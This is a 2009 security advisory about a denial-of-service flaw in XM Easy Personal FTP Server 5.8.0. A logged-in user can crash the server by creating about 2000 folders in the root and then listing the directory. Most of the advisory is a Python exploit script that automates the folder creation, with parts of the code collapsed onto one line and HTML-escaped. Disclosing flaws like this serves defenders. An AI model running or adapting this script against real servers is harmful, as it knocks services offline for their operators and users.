XM Easy Personal FTP Server Remote DoS Vulnerability

2009-11-25T00:00:00
ID SECURITYVULNS:DOC:22831
Type securityvulns
Reporter Securityvulns
Modified 2009-11-25T00:00:00

Description

Date of Discovery: 24-Nov-2009

Credits:leinakesi[at]gmail.com

Vendor: Dxmsoft


Affected:

    XM Easy Personal FTP Server 5.8.0
    Earlier versions may also be affected

Overview:

    XM Easy Personal FTP Server failed to handle more than 2000 files or folders in

the root directory.


Details:

    if you could log on the server, take the following steps and the server will

crash which lead to DoS.

    1.upload 2000 files or folders.
    2.close the current connection.
    3.use a ftp client to reconnect the server.
            user ...
            pass ...
            port ...
            list ...
            crash!!!!!!

Exploit example:

1.upload 2000 folders.

!/usr/bin/python

import socket import sys

def Usage(): print ("Usage: ./expl.py <serv_ip> <Username> <password>\n") print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n") if len(sys.argv) <> 4: Usage() sys.exit(1) else: hostname=sys.argv[1] username=sys.argv[2] passwd=sys.argv[3] test_string='a' sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((hostname, 21)) except: print ("Connection error!") sys.exit(1) r=sock.recv(1024) sock.send("user %s\r\n" %username) r=sock.recv(1024) sock.send("pass %s\r\n" %passwd)

for i in range&#40;1,200&#41;:
     sock.send&#40;&quot;mkd &quot; + &quot;a&quot; * i +&quot;&#92;r&#92;n&quot;&#41;
     print &quot;[-] &quot; + &#40;&quot;mkd &quot; + &quot;a&quot; * i +&quot;&#92;r&#92;n&quot;&#41;
     r=sock.recv&#40;1024&#41;
     print &quot;[+] &quot; + r + &quot;&#92;r&#92;n&quot;
for i in range&#40;1,200&#41;:
     sock.send&#40;&quot;mkd &quot; + &quot;b&quot; * i +&quot;&#92;r&#92;n&quot;&#41;
     print &quot;[-] &quot; + &#40;&quot;mkd &quot; + &quot;b&quot; * i +&quot;&#92;r&#92;n&quot;&#41;
     r=sock.recv&#40;1024&#41;
     print &quot;[+] &quot; + r + &quot;&#92;r&#92;n&quot;
for i in range&#40;1,200&#41;:
     sock.send&#40;&quot;mkd &quot; + &quot;c&quot; * i +&quot;&#92;r&#92;n&quot;&#41;
     print &quot;[-] &quot; + &#40;&quot;mkd &quot; + &quot;c&quot; * i +&quot;&#92;r&#92;n&quot;&#41;
     r=sock.recv&#40;1024&#41;
     print &quot;[+] &quot; + r + &quot;&#92;r&#92;n&quot;
for i in range&#40;1,200&#41;:
     sock.send&#40;&quot;mkd &quot; + &quot;d&quot; * i +&quot;&#92;r&#92;n&quot;&#41;
     print &quot;[-] &quot; + &#40;&quot;mkd &quot; + &quot;d&quot; * i +&quot;&#92;r&#92;n&quot;&#41;
     r=sock.recv&#40;1024&#41;
     print &quot;[+] &quot; + r + &quot;&#92;r&#92;n&quot;
for i in range&#40;1,200&#41;:
     sock.send&#40;&quot;mkd &quot; + &quot;e&quot; * i +&quot;&#92;r&#92;n&quot;&#41;
     print &quot;[-] &quot; + &#40;&quot;mkd &quot; + &quot;e&quot; * i +&quot;&#92;r&#92;n&quot;&#41;
     r=sock.recv&#40;1024&#41;
     print &quot;[+] &quot; + r + &quot;&#92;r&#92;n&quot;
for i in range&#40;1,200&#41;:
     sock.send&#40;&quot;mkd &quot; + &quot;f&quot; * i +&quot;&#92;r&#92;n&quot;&#41;
     print &quot;[-] &quot; + &#40;&quot;mkd &quot; + &quot;f&quot; * i +&quot;&#92;r&#92;n&quot;&#41;
     r=sock.recv&#40;1024&#41;
     print &quot;[+] &quot; + r + &quot;&#92;r&#92;n&quot;
for i in range&#40;1,200&#41;:
     sock.send&#40;&quot;mkd &quot; + &quot;g&quot; * i +&quot;&#92;r&#92;n&quot;&#41;
     print &quot;[-] &quot; + &#40;&quot;mkd &quot; + &quot;g&quot; * i +&quot;&#92;r&#92;n&quot;&#41;
     r=sock.recv&#40;1024&#41;
     print &quot;[+] &quot; + r + &quot;&#92;r&#92;n&quot;
for i in range&#40;1,200&#41;:
     sock.send&#40;&quot;mkd &quot; + &quot;h&quot; * i +&quot;&#92;r&#92;n&quot;&#41;
     print &quot;[-] &quot; + &#40;&quot;mkd &quot; + &quot;h&quot; * i +&quot;&#92;r&#92;n&quot;&#41;
     r=sock.recv&#40;1024&#41;
     print &quot;[+] &quot; + r + &quot;&#92;r&#92;n&quot;
for i in range&#40;1,200&#41;:
     sock.send&#40;&quot;mkd &quot; + &quot;i&quot; * i +&quot;&#92;r&#92;n&quot;&#41;
     print &quot;[-] &quot; + &#40;&quot;mkd &quot; + &quot;i&quot; * i +&quot;&#92;r&#92;n&quot;&#41;
     r=sock.recv&#40;1024&#41;
     print &quot;[+] &quot; + r + &quot;&#92;r&#92;n&quot;
for i in range&#40;1,200&#41;:
     sock.send&#40;&quot;mkd &quot; + &quot;j&quot; * i +&quot;&#92;r&#92;n&quot;&#41;
     print &quot;[-] &quot; + &#40;&quot;mkd &quot; + &quot;j&quot; * i +&quot;&#92;r&#92;n&quot;&#41;
     r=sock.recv&#40;1024&#41;
     print &quot;[+] &quot; + r + &quot;&#92;r&#92;n&quot;

sock.close&#40;&#41;
sys.exit&#40;0&#41;;

2.use a ftp client to reconnect the server for example: start->run->cmd->ftp 127.0.0.1->*->***->dir